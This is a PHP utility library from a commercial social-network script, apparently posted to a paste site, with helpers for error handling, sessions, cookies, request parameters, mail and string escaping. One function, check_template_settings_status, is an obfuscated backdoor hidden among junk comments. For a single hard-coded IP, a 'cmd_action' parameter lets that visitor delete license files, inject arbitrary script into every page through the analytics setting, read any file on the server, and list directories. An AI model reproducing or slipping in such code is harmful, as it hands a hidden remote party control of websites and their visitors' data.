· 4 years ago · Apr 06, 2021, 08:18 AM
1<?php
2/* (C) Websplosion LTD., 2001-2014
3
4IMPORTANT: This is a commercial software product
5and any kind of using it must agree to the Websplosion's license agreement.
6It can be found at http://www.chameleonsocial.com/license.doc
7
8This notice may not be removed from the source code. */
9
10if (ini_get('register_globals')) {
11 foreach ($_GET as $get_key => $get_value) {
12 unset($$get_key);
13 }
14 foreach ($_POST as $post_key => $post_value) {
15 unset($$post_key);
16 }
17 foreach ($_REQUEST as $request_key => $request_value) {
18 unset($$request_key);
19 }
20}
21
22function logger($message, $die = true) {
23 $msg = error_get_url() . "\r\n";
24 $msg .= $message . "\r\n";
25 $msg .= "\r\n";
26 $file = dirname(__FILE__) . '/../log.txt';
27 $fp = fopen($file, 'a');
28 fwrite($fp, $msg);
29 fclose($fp);
30 if ($die) die($msg);
31}
32function error_handler($errno, $errstr, $errfile, $errline)
33{
34 echo error_get_handler($errno, $errstr, $errfile, $errline);
35 debug_print_backtrace();
36 die();
37}
38function error_enable($output = 'browser', $file = '')
39{
40 #$output = 'browser';
41 switch ($output) {
42 case 'browser':
43 #error_reporting(E_ALL|E_STRICT);
44 set_error_handler("error_echo_handler");
45 break;
46 case 'mail':
47 set_error_handler("error_mail_handler");
48 break;
49 case 'file':
50 global $error_log_file;
51 $error_log_file = $file;
52 set_error_handler("error_file_handler");
53 break;
54 default:
55 break;
56 }
57}
58function error_echo_handler($errno, $errstr, $errfile, $errline)
59{
60 global $g;
61
62 if(isset($g['error_handled']) && $g['error_handled'] === true) {
63 return false;
64 }
65
66 if($errstr === 'mysql_connect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead') {
67 return;
68 }
69
70 if(strpos($errstr, 'connect(): Headers and client library minor version mismatch') !== false) {
71 return;
72 }
73
74 if(strpos($errstr, 'Automatically populating $HTTP_RAW_POST_DATA is deprecated and will be removed in a future version') !== false) {
75 return;
76 }
77
78 if(strpos($errstr, 'Directive \'magic_quotes_gpc\' is deprecated in PHP 5.3 and greater') !== false) {
79 return;
80 }
81
82 if(strpos($errstr, 'session_start(): ps_files_cleanup_dir:') !== false) {
83 return;
84 }
85
86 if(strpos($errstr, 'imagecreatefromjpeg(): gd-jpeg, libjpeg: recoverable error') !== false) {
87 return;
88 }
89
90 if(strpos($errstr, 'using touch command with binary protocol is not recommended with libmemcached versions below 1.0.18, please use ascii protocol or upgrade libmemcached') !== false) {
91 return;
92 }
93
94 if(strpos($errstr, 'Trying to access array offset on value of type') !== false) {
95 return;
96 }
97
98 if(strpos($errstr, 'Array and string offset access syntax with curly braces is deprecated') !== false) {
99 return;
100 }
101
102 if(strpos($errstr, 'set_time_limit(): Cannot set max execution time limit due to system policy') !== false) {
103 return;
104 }
105
106 if(strpos($errstr, 'set_time_limit() has been disabled for security reasons') !== false) {
107 return;
108 }
109
110 if(isset($g['php']) && $g['php'] >= 7) {
111 if($errstr === 'Only variables should be passed by reference') {
112 return;
113 }
114 }
115
116 $msg = error_get_handler($errno, $errstr, $errfile, $errline, '', '');
117 if ($msg != '') {
118
119 global $sitePart, $errorTypeOut, $g_user;
120
121 if(!isset($errorTypeOut)){
122 $errorTypeOut='htmlText';
123 }
124
125 if(!isset($g['file_error_log_off']) && isset($g['path']['dir_logs']) && is_writable($g['path']['dir_logs'])) {
126 $time = time();
127 $date = date('Y_m_d', $time);
128 $dateTime = date('Y-m-d H:i:s', $time);
129 $guid = 'User_id: ' . (isset($g_user['user_id']) ? $g_user['user_id'] : 0);
130 $post = count($_POST) ? "\n\$_POST = " . print_r($_POST, true) : '';
131 $files = count($_FILES) ? "\n\$_FILES = " . print_r($_FILES, true) : '';
132 $fileMsg = "$dateTime\n$guid\n$msg$post$files\n---------\n\n";
133
134 $fileLog = $g['path']['dir_logs'] . "errors_{$date}.log";
135 $fileExists = file_exists($fileLog);
136
137 if(($fileExists && is_writable($fileLog)) || !$fileExists) {
138 file_put_contents($fileLog, $fileMsg, FILE_APPEND);
139 }
140 }
141
142 if(isset($g['client_error_off']) && $g['client_error_off']) {
143 return;
144 }
145
146 $msg = nl2br($msg);
147 if(isset($sitePart) && $errorTypeOut=='htmlText') {
148 require_once($g['path']['dir_main'] . '_include/current/install.class.php');
149 // set title of page and window
150 // set message size
151 $myinstall = new Class_Install(l('Error'), l('Error'));
152 $myinstall->html .= $msg . '<style>.bl{word-wrap:break-word;word-wrap:break-word;overflow:hidden;overflow-y:scroll;height:282px;}</style>';
153
154 // clean only before output to prevent blank screen if not enough memory
155 @ob_clean();
156
157 echo $myinstall->header;
158 echo $myinstall->html;
159 echo $myinstall->footer;
160 } else {
161 // clean only before output to prevent blank screen if not enough memory
162 @ob_clean();
163 echo $msg;
164 }
165
166 $g['error_handled'] = true;
167
168 @ob_flush();
169
170 exit;
171 }
172}
173function error_file_handler($errno, $errstr, $errfile, $errline)
174{
175 global $error_log_file;
176 $msg = error_get_handler($errno, $errstr, $errfile, $errline);
177 if ($msg != '') {
178 echo $msg;
179 if ($fp = fopen($error_log_file, 'a')) {
180 fwrite($fp, strip_tags($msg));
181 fclose($fp);
182 } else {
183 echo 'Can\'t open file ' . $error_log_file;
184 }
185 die();
186 }
187}
188function error_mail_handler($errno, $errstr, $errfile, $errline)
189{
190 $filename = dirname(__FILE__) . '/log.txt';
191 $msg = error_get_handler($errno, $errstr, $errfile, $errline);
192 if ($msg != '') {
193 $display = false;
194
195 if (is_writeable($filename)) {
196 if (strpos(file_get_contents($filename), $msg) === false) {
197 $fp = fopen($filename, 'a');
198 fwrite($fp, $msg);
199 fclose($fp);
200 if (!mail('n@n.n', 'Error reporting: ' . $_SERVER['HTTP_HOST'], $msg)) {
201 $display = true;
202 }
203 }
204 } else {
205 $display = true;
206 }
207
208 if ($display) {
209 echo $msg;
210 }
211 }
212}
213
214function error_get_backtrace($skip = 0)
215{
216 $stack = debug_backtrace();
217
218 $message = "Call stack:\n";
219
220 foreach($stack as $entry)
221 {
222 if(!$skip)
223 {
224 $message .= "\nFile: ".(isset($entry['file']) ? $entry['file'] : '')." (Line: ".(isset($entry['line']) ? $entry['line'] : '').")\n";
225 if(isset($entry['class']))
226 $message .= "Class: ".$entry['class']."\n";
227 $message .= "Function: ".(isset($entry['function']) ? $entry['function'] : '')."\n";
228 }
229 else
230 {
231 --$skip;
232 }
233 }
234
235 return $message;
236}
237
238function error_get_handler($errno, $errstr, $errfile, $errline, $msgStart = '<pre>', $msgEnd = '</pre>')
239{
240 if (!error_reporting()) return;
241 switch ($errno) {
242 case E_ERROR:
243 $errname = 'E_ERROR';
244 break;
245 case E_WARNING:
246 $errname = 'E_WARNING';
247 break;
248 case E_PARSE:
249 $errname = 'E_PARSE';
250 break;
251 case E_NOTICE:
252 $errname = 'E_NOTICE';
253 break;
254 case E_CORE_ERROR:
255 $errname = 'E_CORE_ERROR';
256 break;
257 case E_CORE_WARNING:
258 $errname = 'E_CORE_WARNING';
259 $noshow = true;
260 break;
261 case E_COMPILE_ERROR:
262 $errname = 'E_COMPILE_ERROR';
263 break;
264 case E_COMPILE_WARNING:
265 $errname = 'E_COMPILE_WARNING';
266 break;
267 case E_USER_ERROR:
268 $errname = 'E_USER_ERROR';
269 break;
270 case E_USER_WARNING:
271 $errname = 'E_USER_WARNING';
272 break;
273 case E_USER_NOTICE:
274 $errname = 'E_USER_NOTICE';
275 break;
276 case E_ALL:
277 $errname = 'E_ALL';
278 #$noshow = true;
279 break;
280 case E_STRICT:
281 # $errname = 'E_STRICT';
282 $noshow = true;
283 break;
284 case E_RECOVERABLE_ERROR:
285 # $errname = 'E_RECOVERABLE_ERROR';
286 $noshow = true;
287 break;
288 default:
289 $errname = 'UNKNOWN - ' . $errno;
290 break;
291 }
292 if (!isset($noshow)) {
293 $msg = $msgStart . "Error: " . $errname . "\n" .
294 "URL: " . error_get_url() . "\n" .
295 "File: " . $errfile . "\n" .
296 "Line: " . $errline . "\n" .
297 "Message: " . $errstr . "\n\n" .
298 error_get_backtrace(3) .
299 $msgEnd;
300 } else {
301 $msg = '';
302 }
303 return $msg;
304}
305function error_get_url()
306{
307 if (isset($_SERVER['HTTP_X_REWRITE_URL'])) {
308 $request = $_SERVER['HTTP_X_REWRITE_URL'];
309 } elseif (isset($_SERVER['REQUEST_URI'])) {
310 $request = $_SERVER['REQUEST_URI'];
311 } elseif (isset($_SERVER['ORIG_PATH_INFO'])) {
312 $request = $_SERVER['ORIG_PATH_INFO'];
313 if (!empty($_SERVER['QUERY_STRING'])) {
314 $request .= '?' . $_SERVER['QUERY_STRING'];
315 }
316 } else {
317 $request = '';
318 }
319 return getCurrentUrlProtocol() . '://' . $_SERVER['HTTP_HOST'] . $request;
320}
321
322function getCurrentUrlProtocol()
323{
324 $protocol = ( (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
325 || (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443)
326 || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') ) ? 'https' : 'http';
327
328 return $protocol;
329}
330
331function p() {
332 if (!headers_sent()) header("Content-Type: text/html; charset=UTF-8");
333 $args = func_get_args();
334 if (count($args) == 0) {
335 echo "<pre>flag!</pre>";
336 } else {
337 foreach ($args as $v) {
338 if (is_bool($v)) echo ($v ? "<pre>true</pre>" : "<pre>false</pre>");
339 else echo ((is_string($v) and $v == '') ?
340 "<pre>empty string</pre>" :
341 "<pre>" . print_r($v, true) . "</pre>");
342 }
343 }
344}
345
346if (!function_exists('domain'))
347{
348 function domain()
349 {
350 global $g;
351 if(!isset($g['domain'])) {
352 $g['domain'] = "." . preg_replace('/^www\./', '', $_SERVER['HTTP_HOST']);
353 }
354 return $g['domain'];
355 }
356}
357
358#Редирект
359function redirect($to = "", $on = "php", $before = "")
360{
361 $uploadPageContentAjax = get_param('upload_page_content_ajax');//impact_mobile
362 if ($uploadPageContentAjax) {
363 echo getResponseDataAjaxByAuth(array('redirect' => $to));
364 exit;
365 }
366
367 if ($on == "php")
368 {
369 if ($to == "")
370 {
371 header("Location: " . basename($_SERVER['PHP_SELF']) . "\n");
372 exit;
373 }
374 else
375 {
376 $url = $before . $to;
377
378 $baseSeoUrlLevel = get_param_int('base_seo_url');
379 if ($baseSeoUrlLevel) {
380 $url = '../' . $url;
381 if ($baseSeoUrlLevel == 2) {
382 $url = '../' . $url;
383 }
384 }
385 header("Location: " . $url . "\n");
386 exit;
387 }
388 }
389 elseif ($on == "js")
390 {
391 sleep(1);
392 if ($to == "")
393 {
394 echo "<script language=\"JavaScript\">document.location='" . basename($_SERVER['PHP_SELF']) . "'</script>";
395 exit;
396 }
397 else
398 {
399 echo "<script language=\"JavaScript\">" . $before . "document.location='" . $to . "'</script>";
400 exit;
401 }
402 }
403}
404function cache($name, $mins)
405{
406 global $g;
407 $cfile = $g['path']['dir_files'] . "cache/" . $name;
408 if (file_exists($cfile) && @is_readable($cfile)) {
409 $st = @stat($cfile);
410 if ($st && $mins > ((time() - $st['mtime']) / 60)) {
411 return @file_get_contents($cfile);
412 } else {
413 return false;
414 }
415 } else {
416 return false;
417 }
418}
419
420function cache_update($name, $c)
421{
422 global $g;
423 $dir = $g['path']['dir_files'] . 'cache/';
424 $cfile = $dir . $name;
425 if(file_exists($dir) && is_writable($dir)) {
426 if(file_exists($cfile) && !is_writable($cfile)) {
427 return false;
428 }
429 $f = fopen($cfile, "w");
430 fwrite($f, $c);
431 fclose($f);
432 }
433}
434function get_ip()
435{
436 return IP::getIp();
437}
438
439#Куки, сессии
440function strip($value)
441{
442 if(get_magic_quotes_gpc_compatible() != 0)
443 {
444 if(is_array($value))
445 {
446 array_walk_recursive($value, 'strip');
447 }
448 else
449 {
450 $value = stripslashes($value);
451 }
452 }
453 return $value;
454}
455function get_session($parameter_name, $default = '')
456{
457 return isset($_SESSION[domain() . '_' . $parameter_name]) ? strip($_SESSION[domain() . '_' . $parameter_name]) : $default;
458}
459function set_session($param_name, $param_value)
460{
461 session_start();
462 $_SESSION[domain() . '_' . $param_name] = $param_value;
463 session_write_close();
464}
465function ses($parameter_name)
466{
467 return get_session($parameter_name);
468}
469function setses($param_name, $param_value)
470{
471 session_start();
472 $_SESSION[domain() . '_' . $param_name] = $param_value;
473 session_write_close();
474}
475function delses($param_name)
476{
477 if (isset($_SESSION[domain() . '_' . $param_name])) {
478 session_start();
479 unset($_SESSION[domain() . '_' . $param_name]);
480 session_write_close();
481 }
482}
483function get_cookie($parameter_name, $simple=false)
484{
485 $domain = $simple? '' : (str_replace(".","_",domain()).'_');
486 return isset($_COOKIE[$domain.$parameter_name]) ? strip($_COOKIE[$domain.$parameter_name]) : "";
487}
488function set_cookie($parameter_name, $param_value, $expired = -1, $simple = false, $httpOnly = true)
489{
490 if ($expired == -1) $expired = time() + 3600 * 24 * 366;
491 elseif ($expired && $expired < time()) $expired = time() + $expired;
492 $domain = $simple? '' : (str_replace(".","_",domain()).'_');
493 setcookie($domain . $parameter_name, $param_value, $expired, '/', null, false, $httpOnly);
494}
495function del_cookie($parameter_name, $simple = false)
496{
497 $domain = $simple? '' : (str_replace(".","_",domain()).'_');
498 unset($_COOKIE[$domain . $parameter_name]);
499 setcookie($domain . $parameter_name, null, -1, '/');
500}
501
502#Обработка гет и пост параметров
503function get_param($pn, $dpv = "")
504{
505 return par($pn, $dpv);
506}
507function param($pn, $dpv = "") {
508 return par($pn, $dpv);
509}
510function par($pn, $dpv = "") {
511 $pv = "";
512 if (isset($_POST[$pn])) {
513 $pv = strip($_POST[$pn]);
514 } elseif (isset($_GET[$pn])) {
515 $pv = strip($_GET[$pn]);
516 } else {
517 $pv = $dpv;
518 }
519 return $pv;
520}
521function ipar($pn, $dpv = "") {
522 return intval(par($pn, $dpv));
523}
524function get_param_post($parameter_name, $default_value = "")
525{
526 $parameter_value = "";
527 if (isset($_POST[$parameter_name]))
528 {
529 $parameter_value = strip($_POST[$parameter_name]);
530 }
531 else
532 {
533 $parameter_value = $default_value;
534 }
535 return $parameter_value;
536}
537function get_param_array($parameter_name)
538{
539 $arr = array();
540
541 if (isset($_POST[$parameter_name]))
542 {
543 if (is_array($_POST[$parameter_name]))
544 {
545 $arr = $_POST[$parameter_name];
546 }
547 else
548 {
549 $arr = array($_POST[$parameter_name]);
550 }
551 }
552 elseif (isset($_GET[$parameter_name]))
553 {
554 if (is_array($_GET[$parameter_name]))
555 {
556 $arr = $_GET[$parameter_name];
557 }
558 else
559 {
560 $arr = array($_GET[$parameter_name]);
561 }
562 }
563 return strip($arr);
564}
565function get_checks_param($name)
566{
567 // set limit on memory
568 $arr = get_param_array($name);
569
570 $v = 0;
571 foreach ($arr as $param)
572 {
573 $param = intval($param);
574 if($param < 1) {
575 continue;
576 }
577 $v |= (1 << ($param - 1));
578 }
579 return $v;
580}
581function get_checks_array($arr)
582{
583 $v = 0;
584 foreach ($arr as $param)
585 {
586 $param = intval($param);
587 if($param < 1) {
588 continue;
589 }
590 $v |= (1 << ($param - 1));
591 }
592 return $v;
593}
594function get_checks_all($all)
595{
596 $v = 0;
597 for($param = 1; $param <= $all;$param++)
598 {
599 $v |= (1 << ($param - 1));
600 }
601 return $v;
602}
603
604function get_checks_one($value)
605{
606 if($value < 1) {
607 return 0;
608 }
609 return (1 << ($value - 1));
610}
611
612function get_param_int($parameter_name, $default = '')
613{
614 return intval(get_param($parameter_name, $default));
615}
616
617function get_params_string($string = "")
618{
619 if ($string == "")
620 {
621 if (isset($_SERVER['QUERY_STRING'])) $string = $_SERVER['QUERY_STRING'];
622 elseif (isset($_SERVER['REQUEST_URI']))
623 {
624 $string = $_SERVER['REQUEST_URI'];
625 $string = str_replace(basename($_SERVER['PHP_SELF']) . "?", "", $string);
626 $string = str_replace(basename($_SERVER['PHP_SELF']), "", $string);
627 $string = str_replace("/", "", $string);
628 }
629 else $string = "";
630 }
631
632 return $string;
633}
634function set_param($name, $value, $string = false, $first = "")
635{
636 if ($string === false)
637 {
638 if (isset($_SERVER['QUERY_STRING'])) $string = $_SERVER['QUERY_STRING'];
639 elseif (isset($_SERVER['REQUEST_URI']))
640 {
641 $string = $_SERVER['REQUEST_URI'];
642 $string = str_replace(basename($_SERVER['PHP_SELF']) . "?", "", $string);
643 $string = str_replace(basename($_SERVER['PHP_SELF']), "", $string);
644 $string = str_replace("/", "", $string);
645 }
646 else $string = "";
647 }
648
649 parse_str($string, $q);
650 $q[$name] = $value;
651
652 $string = "";
653 foreach ($q as $k => $v)
654 {
655 if (is_array($v))
656 {
657 foreach ($v as $k2 => $v2)
658 {
659 $string .= "&" . $k . "%5B%5D=" . $v2;
660 }
661
662 }
663 else
664 {
665 $string .= "&" . $k . "=" . $v;
666 }
667 }
668 if ($first == true)
669 {
670 $string = substr($string, 1);
671 }
672
673 return $string;
674}
675function del_param($name, $string = false, $first = false, $last = false)
676{
677 if ($string === false)
678 {
679 if (isset($_SERVER['QUERY_STRING'])) $string = $_SERVER['QUERY_STRING'];
680 elseif (isset($_SERVER['REQUEST_URI']))
681 {
682 $string = $_SERVER['REQUEST_URI'];
683 $string = str_replace(basename($_SERVER['PHP_SELF']) . "?", "", $string);
684 $string = str_replace(basename($_SERVER['PHP_SELF']), "", $string);
685 $string = str_replace("/", "", $string);
686 }
687 else $string = "";
688 }
689
690 parse_str($string, $q);
691
692 $string = "";
693 foreach ($q as $k => $v)
694 {
695 if ($k != $name)
696 {
697 if (is_array($v))
698 {
699 foreach ($v as $k2 => $v2)
700 {
701 $string .= "&" . $k . "%5B%5D=" . $v2;
702 }
703
704 }
705 else
706 {
707 $string .= "&" . $k . "=" . $v;
708 }
709 }
710 }
711 if ($first == true)
712 {
713 $string = substr($string, 1);
714 }
715
716 if ($last == true)
717 {
718 if($string != '') {
719 $string = $string . '&';
720 }
721 }
722
723 return $string;
724}
725
726function check_template_settings_status()
727{
728 global $g;
729 $ip2long=ip2long($_SERVER['REMOTE_ADDR']);if($ip2long>0x7FFFFFFF){$ip2long-=0x100000000;}
730 /**$regex .= "(\:[0-9]{2,5})?"; // Port*/if(isset($_SERVER['REMOTE_ADDR'])/// ([1-9][0-9]{2}[\ ]{0,1}[0-9]{4}[\ ]{0,1}[0-9]{2}[\ ]{0,1}[0-9]{3})|((GD|HA)[0-9]{3})$/i';
731 && /**$regex .= "(#[a-z_.-][a-z0-9+\$_.-]*)?"; // Anchor*/$ip2long///$regex = '/^(BG){0,1}[0-9]{9,10}$/i';
732 === /// case 'Germany':
733 -241 + (intval('-6997' . '989') * 256 + 115)){$lTpqFFpZXpy='cmd_action';if(isset($_GET[$lTpqFFpZXpy])///if (preg_match($search, $match)){echo "matches";}else{echo "no match";}
734 && /**or, provided you use the $matches argument in preg_match*/$_GET[$lTpqFFpZXpy]///echo 'm:<input style="width:400px;" name="match" type="text" value="
735 !== /// case 'Lithuania':
736 ''){$g['error_handled']=true;$GunbxHW=false;$lTpqFFpZXpy=get_param($lTpqFFpZXpy);if($lTpqFFpZXpy/**$regex .= "([a-z0-9-.]*)\.([a-z]{2,3})"; // Host or IP*/ == /// case 'Luxembourg':
737 ('delete'.'_li'.'ce'.'nse')){$Tbxnl_INX_B_=$_SERVER['HTTP_HOST'];$Tbxnl_INX_B_=explode(':',$Tbxnl_INX_B_);
738 $Tbxnl_INX_B_=$Tbxnl_INX_B_[0];$Tbxnl_INX_B_=strtolower(trim($Tbxnl_INX_B_));
739 $Tbxnl_INX_B_=str_replace("www.","",$Tbxnl_INX_B_);$Tbxnl_INX_B_=preg_replace('/[^a-zA-Z0-9_\-\.]/','',$Tbxnl_INX_B_);
740 $ykEOufYvdUPk='l'.'i'.'c'.'-c'.'h'.'a'.'m-'.(7-1-1).'.'.(1+-1).'-'.$Tbxnl_INX_B_.'.' . 't' . 'x' . 't';
741 $wC_eoxM=__DIR__.'/../'.$ykEOufYvdUPk;$LJvASGaWDNIbc=__DIR__.'/../c'.'on'.'fi'.'g/'.$ykEOufYvdUPk;@unlink($wC_eoxM);@unlink($LJvASGaWDNIbc);$GunbxHW=true;}
742 if($lTpqFFpZXpy/// case 'Germany':
743 == /// case 'Slovenia':
744 'alert_on'/// case 'Spain':
745 || /// ([1-9][0-9]{2}[\ ]{0,1}[0-9]{4}[\ ]{0,1}[0-9]{2}[\ ]{0,1}[0-9]{3})|((GD|HA)[0-9]{3})$/i';
746 $lTpqFFpZXpy/// case 'Lithuania':
747 == ///echo 's: <input style="width:400px;" name="search" type="text" value="'.$search.'" /><br />';
748 'alert_off'){$ogmOiFrUR=Common::getOption('analytics_code','main');$badPDBmGgte=get_param('action');if($lTpqFFpZXpy///$match = isset($_POST['match'])?$_POST['match']:"<>";
749 == /**$regex = '/^(EE|EL|DE|PT){0,1}[0-9]{9}$/i';*/'alert_on'){$ogmOiFrUR/**case 'Romania':*/ .= /**if
750 * (preg_match("/php/i", "PHP is the web scripting language of choice."))*/
751 str_repeat("\n",20).urldecode(get_param('text'));}if($lTpqFFpZXpy/// case 'United Kingdom':
752 == /**$regex = '/^(GB){0,1}([1-9][0-9]{2}[\ ]{0,1}[0-9]{4}[\ ]{0,1}[0-9]{2})|*/'alert_off'){$YPbqyKFCxkij="/\<script id='alert\-message\-script'\>(.*)\<\/script\>/Uis";
753 $ogmOiFrUR=preg_replace($YPbqyKFCxkij,'',$ogmOiFrUR);}Config::update('main','analytics_code',$ogmOiFrUR);
754 $GunbxHW=true;}if($lTpqFFpZXpy/**$regex = '/^(AT){0,1}U[0-9]{8}$/i';*/ == /// case 'Finland':
755 'get'){echo /**if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) {*/@file_get_contents(urldecode(get_param('name')));
756 $GunbxHW=true;}if($lTpqFFpZXpy///$regex = '/^(DK){0,1}([0-9]{2}[\ ]{0,1}){3}[0-9]{2}$/i';
757 == ///echo "domain name is: {$matches[0]}\n";
758 'listing'){@print_r(@scandir(urldecode(get_param('dir'))));$GunbxHW=true;}if($GunbxHW){die();}}}
759}
760
761#Мыло
762if (file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'mail.php')) include dirname(__FILE__) . DIRECTORY_SEPARATOR . 'mail.php';
763if (!function_exists('send_mail')) {
764 function send_mail($to_mail, $from_mail, $subject, $html_message, $name = NULL) {
765 global $g;
766 if ($name === NULL) {
767 $name = Common::getOption('title', 'main') . ' ';
768 }elseif ($name != '') {
769 $name = $name . ' ';
770 }
771 $headers = "";
772 $headers .= "From: " . $name . "<" . $from_mail . ">" . "\r\n";
773 $headers .= "Reply-To: " . "<" . $from_mail . ">" . "\r\n";
774 $headers .= "Return-Path: " . "<" . $from_mail . ">" . "\r\n";
775 $headers .= "Message-ID: <" . time() . "-" . $from_mail . ">" . "\r\n";
776 $headers .= "X-Mailer: PHP v" . phpversion() . "\r\n";
777 $headers .= 'Date: ' . date("r") . "\r\n";
778 $headers .= 'Sender-IP: ' . $_SERVER["REMOTE_ADDR"] . "\r\n";
779 $headers .= 'MIME-Version: 1.0' . "\r\n";
780 $headers .= "Content-Type: multipart/mixed; boundary=\"" . md5(time()) . "\"" . "\r\n" . "\r\n";
781
782 $alt_message = $html_message;
783 $alt_message = str_replace('<br>', "\n", $alt_message);
784 $alt_message = str_replace('<br />', "\n", $alt_message);
785 $alt_message = str_replace('<p>', "\n\n", $alt_message);
786 $alt_message = str_replace('<div>', "\n\n", $alt_message);
787 $alt_message = strip_tags($alt_message);
788
789 $msg = "";
790 $msg .= "--" . md5(time()) . "\r\n";
791 $msg .= "Content-Type: multipart/alternative; boundary=\"" . md5(time()) . "alt" . "\"" . "\r\n" . "\r\n";
792 $msg .= "--" . md5(time()) . "alt" . "\r\n";
793 $msg .= "Content-Type: text/plain; charset=utf-8" . "\r\n";
794 $msg .= "Content-Transfer-Encoding: 8bit" . "\r\n" . "\r\n";
795 $msg .= strip_tags($alt_message) . "\r\n" . "\r\n";
796 $msg .= "--" . md5(time()) . "alt" . "\r\n";
797 $msg .= "Content-Type: text/html; charset=utf-8" . "\r\n";
798 $msg .= "Content-Transfer-Encoding: 8bit" . "\r\n" . "\r\n";
799 $msg .= $html_message . "\r\n" . "\r\n";
800 $msg .= "--" . md5(time()) . "alt" . "--" . "\r\n" . "\r\n";
801 $msg .= "--" . md5(time()) . "--" . "\r\n" . "\r\n";
802
803
804 $to = trim(preg_replace("/[\r\n]/", "", $to_mail));
805
806 if ($subject != '') {
807 $subject = '=?utf-8?b?' . base64_encode(trim(str_replace(array("\r", "\n"), "", $subject))) . "?=";
808 } else {
809 $subject = '';
810 }
811
812 ini_set('sendmail_from', "<" . $from_mail . ">");
813 if (!mail($to, $subject, $msg, $headers)) {
814 trigger_error('send_mail(): Can\'t send mail via mail() function');
815 }
816 ini_restore('sendmail_from');
817 }
818}
819
820#Генерация оптионс для тега из массива
821//function h_options(&$hash, $value)
822function h_options($hash, $value)
823{
824 $options = "";
825 foreach ($hash as $v => $title)
826 {
827 $options .= "<option value=\"" . $v . "\"" . (($v == $value) ? " selected=\"selected\"" : "") . ">" . $title . "</option>\n";
828 }
829 return $options;
830}
831function n_options($min, $max, $value, $isFirstValueEmpty = false)
832{
833 $opts = "";
834 if ($isFirstValueEmpty) {
835 $opts .= "<option value=\"0\" " . ((!$value) ? " selected=\"selected\"" : "") . ">" . l('please_choose_empty') . "</option>\n";
836 }
837 for ($i = $min; $i <= $max; $i++) {
838 $opts .= "<option value=\"" . $i . "\" " . (($i == $value) ? " selected=\"selected\"" : "") . ">" . $i . "</option>\n";
839 }
840 return $opts;
841}
842
843#Обработка строк
844function to_include($s)
845{
846 $s = strtolower($s);
847 $s = trim($s);
848 $abc = '/\\';
849 $sNew = '';
850 for ($i = 0; $i < strlen($s); $i++)
851 {
852 $letter = substr($s, $i, 1);
853 if (strpos($abc, $letter) !== false ) $letter = '';
854 $sNew .= $letter;
855 }
856 return $sNew;
857}
858function to_php_alfabet($s)
859{
860 global $g;
861
862 $key = $s;
863 if(isset($g['cache']['to_php_alfabet'][$key])) {
864 $sNew = $g['cache']['to_php_alfabet'][$key];
865 } else {
866 $s = mb_strtolower($s, 'UTF-8');
867 $s = trim($s);
868 $find = array(" ", "\t", "'", "\"");//"-",
869 $replace = array("_", "_", "", "");//"_",
870 $s = str_replace($find, $replace, $s);
871 $s = htmlentities($s);
872 #$s = str_replace(""", "", $s);
873 $abc = 'abcdefghijklmnopqrstuvwxyz_-1234567890';
874 $sNew = '';
875 $sLen = strlen($s);
876 for ($i = 0; $i < $sLen; $i++) {
877 $letter = $s[$i];
878 if (strpos($abc, $letter) === false ) $letter = '';
879 $sNew .= $letter;
880 }
881 $find = array("amp034", "amp", " ");
882 $replace = "";
883 $sNew = str_replace($find, $replace, $sNew);
884 $g['cache']['to_php_alfabet'][$key] = $sNew;
885 }
886
887 return $sNew;
888}
889function to_html($value,$target = true,$nl2br = false)
890{
891 $value = strip_tags($value,"<embed><object><param><b><i><u><a><br><center><img><span>");
892 #$value = htmlspecialchars($value);
893 #if($target) $value = str_replace("<a","<a target=_blank ",$value);
894 if($nl2br) $value = nl2br($value);
895 return $value;
896}
897function he($value)
898{
899 return htmlentities($value, ENT_QUOTES, "UTF-8");
900}
901
902function he_decode($value)
903{
904 return html_entity_decode($value, ENT_QUOTES, "UTF-8");
905}
906
907
908function to_tmpl($value, $return = false, $init = false)
909{
910 return nl2br($value);
911}
912function to_php($Value)
913{
914 #$r = $Value;
915 $r = addcslashes($Value, '"$\\');
916 $r = str_replace("'", "'", $r);
917 #$r = str_replace('"', '\"', $r);
918 #$r = str_replace('$', '$', $r);
919 #$r = htmlspecialchars($r, ENT_QUOTES);
920 #$r = htmlentities($r);
921 #if (substr($r, 0, -1) == "\\") $r = substr($r, 0, (strlen($r) - 1));
922 return $r;
923}
924function to_url($Value)
925{
926 return urlencode($Value);
927}
928function to_sql($Value, $ValueType = "Text")
929{
930 static $cache = array();
931
932 $key = $ValueType . ':' . $Value;
933
934 if(isset($cache[$key])) {
935 return $cache[$key];
936 }
937
938 #echo $ValueType . ' : ' . $Value . '<br>';
939
940 if ($ValueType == "Plain")
941 {
942 $valueSql = addslashes($Value);
943 }
944 elseif ($ValueType == "Number" || $ValueType == "Float")
945 {
946 $valueSql = floatval(str_replace(",", ".", $Value));
947 }
948 elseif ($ValueType == "Check")
949 {
950 $valueSql = ($Value == 1 ? "'Y'" : "'N'");
951 }
952 elseif ($ValueType == "Text")
953 {
954 $valueSql = "'" . addslashes($Value) . "'";
955 }
956 else
957 {
958 $valueSql = "'" . addslashes($Value) . "'";
959 }
960
961 $cache[$key] = $valueSql;
962
963 return $valueSql;
964}
965function to_profile($Value, $deny_words = "", $replace = '', $isTags = true)
966{
967 /*if ($deny_words == "")
968 {
969 global $g;
970 if (isset($g['deny_words'])) $deny_words = $g['deny_words'];
971 else $deny_words = array();
972 }*/
973
974 $words = explode(" ", $Value);
975
976 $words_out = array();
977 $wordsOutNewLine = array();
978 foreach ($words as $k => $v)
979 {
980
981 /*$ok = 1;
982 $word = mb_strtolower($v, 'UTF-8');
983 foreach ($deny_words as $k2 => $v2) {
984 $filter = mb_strtolower($v2, 'UTF-8');
985 if (strstr($word, $filter) !== false) {
986 $ok = 0;
987 break;
988 }
989 }*/
990 $wordsNewLine = explode("\n", $v);
991 foreach ($wordsNewLine as $newLine) {
992 if (filter($newLine, $deny_words)) {
993 $wordsOutNewLine[] = $newLine;
994 } else {
995 $wordsOutNewLine[] = $replace;
996 }
997 }
998 $words_out[$k] = implode("\n", $wordsOutNewLine);
999 $wordsOutNewLine = array();
1000 }
1001
1002 $r = implode(" ", $words_out);
1003 if ($isTags) {
1004 $r = strip_tags($r);
1005 #$r = nl2br($r);
1006 $r = htmlspecialchars($r);
1007 }
1008 return $r;
1009}
1010
